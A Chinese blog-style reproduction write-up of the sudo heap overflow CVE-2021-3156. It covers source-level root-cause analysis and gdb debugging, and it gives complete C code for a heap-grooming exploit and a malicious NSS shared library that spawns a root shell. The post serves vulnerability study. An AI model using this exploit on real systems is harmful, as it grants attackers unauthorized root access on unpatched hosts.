CVE-2021-3156 sudo 提权漏洞,复现过程总结
复现环境
系统:Ubuntu 20.04
sudo: sudo-1.8.31
源码下载:https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz
漏洞分析 可以参照一下官方的修复方式:https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
找到 1.8.31 版本源码的漏洞位置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ...... 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ...... 845 846 847 if (NewArgc > 1 ) { 848 char *to, *from, **av; 849 size_t size, n; 850 851 852 for (size = 0 , av = NewArgv + 1 ; *av; av++) 853 size += strlen (*av) + 1 ; 854 if (size == 0 || (user_args = malloc (size)) == NULL ) { 855 sudo_warnx(U_("%s: %s" ), __func__, U_("unable to allocate memory" )); 856 debug_return_int(-1 ); 857 } 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 859 864 for (to = user_args, av = NewArgv + 1 ; (from = *av); av++) { 865 while (*from) { 866 if (from[0 ] == '\\' && !isspace ((unsigned char )from[1 ])) 867 from++; 868 *to++ = *from++; 869 } 870 *to++ = ' ' ; 871 } 872 *--to = '\0' ; 873 } else ......
在 set_cmnd 函数,看到 866 行处,以 \
开头下一个字符不是空格,那么就认为是转义字符,from++
跳过字符 \
,但是没有考虑到下一个字符是 \0
的情况,如果下一个字符是 \0
,那么 *to = *from++
就写入 \0
字符,下一次循环条件判断成立,则继续往 user_args 里面写入数据,而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块,这就可以造成一个堆溢出的漏洞
最后一个参数后面就是环境变量的位置,所以只要最后一个参数以一个 \
结尾,那么就可以通过控制环境变量,堆溢出写入任意数据
同时看到 819 行处,触发漏洞需要设置 MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,858 行处,要求设置 MODE_SHELL
或 MODE_LOGIN_SHELL
想要触发漏洞,还要先看看下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ...... 571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 572 char **av, *cmnd = NULL ; 573 int ac = 1 ; 574 575 if (argc != 0 ) { 576 577 char *src, *dst; 578 size_t cmnd_size = (size_t ) (argv[argc - 1 ] - argv[0 ]) + 579 strlen (argv[argc - 1 ]) + 1 ; 580 581 cmnd = dst = reallocarray(NULL , cmnd_size, 2 ); 582 if (cmnd == NULL ) 583 sudo_fatalx(U_("%s: %s" ), __func__, U_("unable to allocate memory" )); 584 if (!gc_add(GC_PTR, cmnd)) 585 exit (1 ); 586 587 for (av = argv; *av != NULL ; av++) { 588 for (src = *av; *src != '\0' ; src++) { 589 590 if (!isalnum ((unsigned char )*src) && *src != '_' && *src != '-' && *src != '$' ) 591 *dst++ = '\\' ; 592 *dst++ = *src; 593 } 594 *dst++ = ' ' ; 595 } 596 if (cmnd != dst) 597 dst--; 598 *dst = '\0' ; 599 600 ac += 2 ; 601 } ......
在处理命令行参数的时候,设置了 MODE_RUN
和 MODE_SHELL
的情况下,会对命令行参数进行重写,把所有元字符包括 \
都转义了,也就是单个反斜杠变成了两个反斜杠,导致后面的漏洞无法触发
总结一下:
MODE_RUN
和 MODE_SHELL
不能都设置,因为在 sudo 程序的 parse_args
函数里会对反斜杠进行转义,导致漏洞无法触发
触发漏洞需要设置 MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,同时要设置 MODE_SHELL
或 MODE_LOGIN_SHELL
那么 MODE_RUN
是不可以设置的,因为一旦设置 MODE_RUN
,触发漏洞条件需要 MODE_SHELL
,而 MODE_RUN
和 MODE_SHELL
同时存在会导致 parse_args
对反斜杠进行转义,导致漏洞无法触发
那么就要设置 MODE_EDIT
或者 MODE_CHECK
,同时不能设置 MODE_RUN
设置 MODE_EDIT
使用 -e
,MODE_LOGIN_SHELL
使用 -i
,MODE_SHELL
使用 -s
,对应源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...... 358 case 'e' : 359 if (mode && mode != MODE_EDIT) 360 usage_excl(1 ); 361 mode = MODE_EDIT; 362 sudo_settings[ARG_SUDOEDIT].value = "true" ; 363 valid_flags = MODE_NONINTERACTIVE; 364 break ; ...... 402 case 'i' : 403 sudo_settings[ARG_LOGIN_SHELL].value = "true" ; 404 SET(flags, MODE_LOGIN_SHELL); 405 break ; ...... 460 case 's' : 461 sudo_settings[ARG_USER_SHELL].value = "true" ; 462 SET(flags, MODE_SHELL); 463 break ; ......
MODE_CHECK
在这里设置,使用 -l
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ...... 416 case 'l' : 417 if (mode) { 418 if (mode == MODE_LIST) 419 SET(flags, MODE_LONG_LIST); 420 else 421 usage_excl(1 ); 422 } 423 mode = MODE_LIST; 424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 425 break ; ...... 518 if (argc > 0 && mode == MODE_LIST) 519 mode = MODE_CHECK; ......
那么有以下几种选择:
-s -e
-i -e
-s -l
-i -l
但是,-e
和 -l
,都会导致 valid_flags
的改变,最后在 532 行处,导致程序退出,所以上面的 4 种方式都无效
1 2 3 4 5 6 7 8 9 10 11 12 13 ...... 127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) ...... 249 int valid_flags = DEFAULT_VALID_FLAGS; ...... 532 if ((flags & valid_flags) != flags) 533 usage(1 ); ......
查看源码还发现一处地方:
1 2 3 4 5 6 7 8 9 10 ...... 268 if (proglen > 4 && strcmp (progname + proglen - 4 , "edit" ) == 0 ) { 269 progname = "sudoedit" ; 270 mode = MODE_EDIT; 271 sudo_settings[ARG_SUDOEDIT].value = "true" ; 272 } ......
当程序的名字是 sudoedit 时,会设置 MODE_EDIT
,而不会去修改 valid_flags
,那么就可以达成漏洞利用的条件,这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因
那么只需要用 sudoedit -s xxx
,就可以设置 MODE_EDIT
和 MODE_SHELL
,而不设置 MODE_RUN
了
调试分析 调试前准备 使用源码编译的程序进行调试,编译后创建一个链接 sudoedit 到 sudo,或者改名 sudo 为 sudoedit(ubuntu 中的 sudoedit 其实是 sudo 的一个软链接),权限改为 root,并加上 sid 权限
poc 为了更好操控 sudo 程序的环境变量,采用 execve 函数来执行 sudoedit,这里写一个 poc.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MAX_ENVP 0x1000 char *envp[MAX_ENVP];int main (int argc, const char * const argv[]) { char a1[65536 ]; memset (a1, 'A' , 65535 ); a1[65535 ] = '\x00' ; char *s_argv[] = { "sudoedit" , "-s" , "\\" , a1, NULL }; int envp_pos = 0 ; envp[envp_pos++] = NULL ; execve("/path/to/sudoedit" , s_argv, envp); return 0 ; }
调试开始 使用 sudo gdb ./poc
,执行 catch exec
跟踪 execve,r
命令运行
setlocale 是 sudo 程序开头调用的函数,在这下断点,断下后 finish
即可进入 sudo 的 main 函数
要注意的是,进入 main 函数后,最好删除 setlocale 的断点,以免后续的调用影响跟踪调试
使用 b 213
下断点在 213 行处:
1 2 3 4 5 6 ...... 212 213 if (!sudo_load_plugins(&policy_plugin, &io_plugins))214 sudo_fatalx(U_("fatal error, unable to load plugins" ));......
n
命令步过,加载完 sudoers.so 库后,使用命令 b set_cmnd
在 set_cmnd 函数下断点,c
继续运行,来到断点处,并在 854 行下断点,继续运行
1 2 3 4 5 6 7 ...... 854 if (size == 0 || (user_args = malloc (size)) == NULL ) {855 sudo_warnx(U_("%s: %s" ), __func__, U_("unable to allocate memory" ));856 debug_return_int(-1 );857 }......
user_args 的大小为 0x10002 即 65538 ("\\" + "A" * 65535 + 2
),并记录 user_args 的 chunk 地址为 0x55555558faa0
跟踪来到漏洞点处:
来到 870 处:
此时可以发现没有溢出,因为此时只复制了反斜杠字符后面的 \0
,以及后面的 65535 个 A,本身 chunk 的大小是足够的
但是,for 循环继续运行,"A" * 65535
又开始继续往后覆盖,此时溢出就出现了
可以看到,溢出把下一个 chunk 的 size 字段都改了,后面 malloc 的时候触发 abort,导致程序异常退出了
漏洞利用 此时可以知道几点:
user_args 的大小可以由命令行参数控制
命令行参数中出现单个反斜杠字符结尾,则会导致堆溢出
若单个反斜杠结尾出现在最后一个命令行参数,那么溢出的内容就是紧接着的环境变量,完全可控
单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入 \0
NSS(Name Service Switch) 目前公开的 exp 大都利用了 NSS(Name Service Switch)机制,这里简述 NSS 的机制
首先是根据 /etc/nsswitch.conf
内容(例如下面这个),初始化链式的 name_database_entry 结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc-reference' and `info' packages installed, try: # `info libc "Name Service Switch"' for information about this file. passwd: files systemd group: files systemd shadow: files gshadow: files hosts: files dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis
name_database_entry 结构体定义如下:
1 2 3 4 5 6 7 8 9 typedef struct name_database_entry { struct name_database_entry *next ; service_user *service; char name[0 ]; } name_database_entry;
name
字段就是 group
,shadow
这些字符串,然后以 next
字段链接起来形成链表
后面的 files systemd
是 service_user 结构体的 name
字段,定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct service_user { struct service_user *next ; lookup_actions actions[5 ]; service_library *library; void *known; char name[0 ]; } service_user;
需要使用服务的时候,如果库未加载,则会调用 nss_load_library
函数加载动态链接库
在 set_cmnd 函数结束后,sudoers_lookup 会调用 nss_load_library
函数,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 static int nss_load_library (service_user *ni) { if (ni->library == NULL ) { static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL ) return -1 ; } if (ni->library->lib_handle == NULL ) { size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1 ); int saved_errno = errno; char shlib_name[shlen]; __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_" ), ni->name), ".so" ), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); if (ni->library->lib_handle == NULL ) { ni->library->lib_handle = (void *) -1l ; __set_errno (saved_errno); } # ifdef USE_NSCD else if (is_nscd) { size_t initlen = (5 + strlen (ni->name) + strlen ("_init" ) + 1 ); char init_name[initlen]; __stpcpy (__stpcpy (__stpcpy (init_name, "_nss_" ), ni->name), "_init" ); void (*ifct) (void (*) (size_t , struct traced_file *)) = __libc_dlsym (ni->library->lib_handle, init_name); if (ifct != NULL ) { void (*cb) (size_t , struct traced_file *) = nscd_init_cb; # ifdef PTR_DEMANGLE PTR_DEMANGLE (cb); # endif ifct (cb); } } # endif } return 0 ; }
最主要的是,当 ni->library->lib_handle == NULL
成立后,会执行 dlopen
加载动态链接库:
1 2 3 4 5 6 7 8 9 10 11 ...... char shlib_name[shlen]; __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_" ), ni->name), ".so" ), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); ......
前面有 ni->library == NULL
时执行 nss_new_service
返回的 library->lib_handle
就是 NULL
且 service_user 结构体刚好在堆上,只要溢出覆盖一个 service_user 结构体,伪造 name
字段为 X/X
,library
字段为 NULL,那么后续调用 nss_load_library
时就会调用 __libc_dlopen("libnss_X/X.so.xx")
加载自己写的动态链接库
只要动态链接库写个 constructor 函数,执行 shell,即可提权
这里有一点,大部分文章都没提到(也可能是默认大家都知道了):为什么一定要覆盖 name
成 X/X
的形式,而不是 X
的形式?
这可以从 dlopen 的 man 手册中找到答案:
1 2 3 4 5 6 ...... If filename is NULL, then the returned handle is for the main program. If filename contains a slash ("/"), then it is interpreted as a (relative or absolute) pathname. Otherwise, the dynamic linker searches for the object as follows (see ld.so(8) for further details): ......
大概意思是,filename 参数只有存在 /
的时候,才会有可能被当作相对路径,没有 /
的时候,会去 PATH 等环境变量指向的地方找对应的库文件,为了方便,使用相对路径的方式,所以使用 X/X
的形式
service_user 结构体分布 gdb 上使用 search -s systemd
可以找到 service_user 等结构体
可以看到 passwd 的 name_database_entry,的 service
字段指向了一条链表,链表上是 files
-> systemd
的 service_user 结构体
那么只要覆盖这两个 service_user 中的一个就可以了,覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了,破坏了链表就不行了,所以选择覆盖前面的那个 service_user,同时不能把前面的 name_database_entry 结构体也破坏了
实际情况下,在漏洞点之前会先后从堆上分配下面这些结构体:
1 2 3 4 5 6 7 passwd(name_database_entry) files(service_user) systemd(service_user) group(name_database_entry) files(service_user) systemd(service_user) ...
只要 user_args 位于 name_database_entry 和 service_user 之间,即可覆盖 service_user 而不会破坏 name_database_entry 了
堆布局 通过调试发现,在我的复现环境下,一般情况下 user_args 都位于 service_user 之后,根据目前公开的方式,利用程序开头的 setlocale 函数,对 LC_MESSAGES
,LC_ALL
等环境变量,都会有多次的堆块分配与释放,影响堆块布局的情况,使得 user_args 分配时,得到的刚好是 setlocale 中 free 进 tcache 的 chunk,因为 setlocale 函数的调用在 service_user 等结构体分配之前,那么 user_args 就能分布在 service_user 结构体之前
比如,环境变量使用 LC_ALL=C.UTF-8@AAAA
,@
字符后面的 AAAA
将会在 setlocale 里分配 chunk 进行存储,之后会释放
调试 经过多次测试,exp 如下,下面使用这个 exp 进行一下调试,说明为什么要这么写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MAX_ENVP 0x1000 #define LC_ENV1 "LC_ALL=C.UTF-8@" #define LC_ENV2 "LC_CTYPE=C.UTF-8@" char *envp[MAX_ENVP];int main (int argc, const char * const argv[]) { char paddingA[0x200 ] = { 0 }; memset (paddingA,'A' ,0x190 -2 ); paddingA[0x190 -2 ] = '\\' ; char *s_argv[] = { "sudoedit" , "-s" , paddingA, NULL }; int envp_pos = 0 ; for (int i = 0 ; i < 0xb10 -0x190 +1 ; i++){ envp[envp_pos++] = "\\" ; } for (int i = 0 ; i < 0x30 ; i++) { envp[envp_pos++] = "\\" ; } envp[envp_pos++] = "x/i4oyu" ; envp[envp_pos++] = "AAA" ; char *LC1 = calloc (0x1000 , 1 ); strcpy (LC1, LC_ENV1); memset (LC1 + sizeof (LC_ENV1) - 1 , 'X' , 0xc0 ); envp[envp_pos++] = LC1; envp[envp_pos++] = 0 ; execve("/path/to/sudoedit" , s_argv, envp); return 0 ; }
首先看到这里
1 2 3 4 5 6 ...... char *LC1 = calloc (0x1000 , 1 ); strcpy (LC1, LC_ENV1); memset (LC1 + sizeof (LC_ENV1) - 1 , 'X' , 0xc0 ); ......
调试来到 user_args 分配前,查看 heap 情况,存储 0xc0 个 X
的 chunk 在这里:
同时也可以看到,这个 chunk 的大小并不是 0xc0,而是比 0xc0 要大得多的 0x1a0,和参考的一些文章的说法不太一样
同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间:
注意 :实际上 set_cmnd
调用后,会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library
的调用,所以图中使用的是 group 的链
exp 这里的 0x190-2 就是为了控制命令行参数的长度,使得 user_args 的分配调用 malloc(0x190)
从而分配到上面提到的 chunk:
1 2 3 4 5 ...... char paddingA[0x200 ]; memset (paddingA,'A' ,0x190 -2 ); paddingA[0x190 -2 ] = '\\' ; ......
溢出点到要覆盖 service_user 的偏移为 +0xb10:
命令行参数本身有 0x190-1 长的数据复制进了 to,那么只需要连续 0xb10 - 0x190 + 1
多的反斜杠即可连续写入 \0
,直到目标 service_user 结构体,再继续覆写 0x30 长度的数据,即可到达 name
字段,这就是对下面这部分代码的解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ...... int envp_pos = 0 ; for (int i = 0 ; i < 0xb10 -0x190 +1 ; i++){ envp[envp_pos++] = "\\" ; } for (int i = 0 ; i < 0x30 ; i++) { envp[envp_pos++] = "\\" ; } envp[envp_pos++] = "x/i4oyu" ; envp[envp_pos++] = "AAA" ; ......
这里覆盖 name
为 x/xi4oyu
,那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2
,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void __attribute__ ((constructor)) _init(void ); static void _init(void ) { printf ("[!!!] pwn!\n" ); setuid(0 ); seteuid(0 ); setgid(0 ); setegid(0 ); static char *a_argv[] = { "sh" , NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin" , NULL }; execv("/bin/sh" , a_argv); }
利用成功!
小结 堆布局的方式比较复杂,其中这一句:
1 memset (LC1 + sizeof (LC_ENV1) - 1 , 'X' , 0xc0 );
至于 0xc0 这个值是怎么来的?本人是 从 0 开始间隔 0x10 递增 ,观察堆的情况,一步步地测出来的
目前公开的文章也并没有做一个很好的解释,具体怎么回事,还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了,写得比较好的 exp 是 blasty 的 exp,其中提供了一个爆破脚本,就是为了测出这个合适的值
总结 这是我接触的第一个 CVE,漏洞原理相对还是比较简单的,从中也学到了 NSS 这个十分有意思的机制
最近在学 v8 的漏洞利用,下一次复现的就是 v8 的 CVE 了,加油!
参考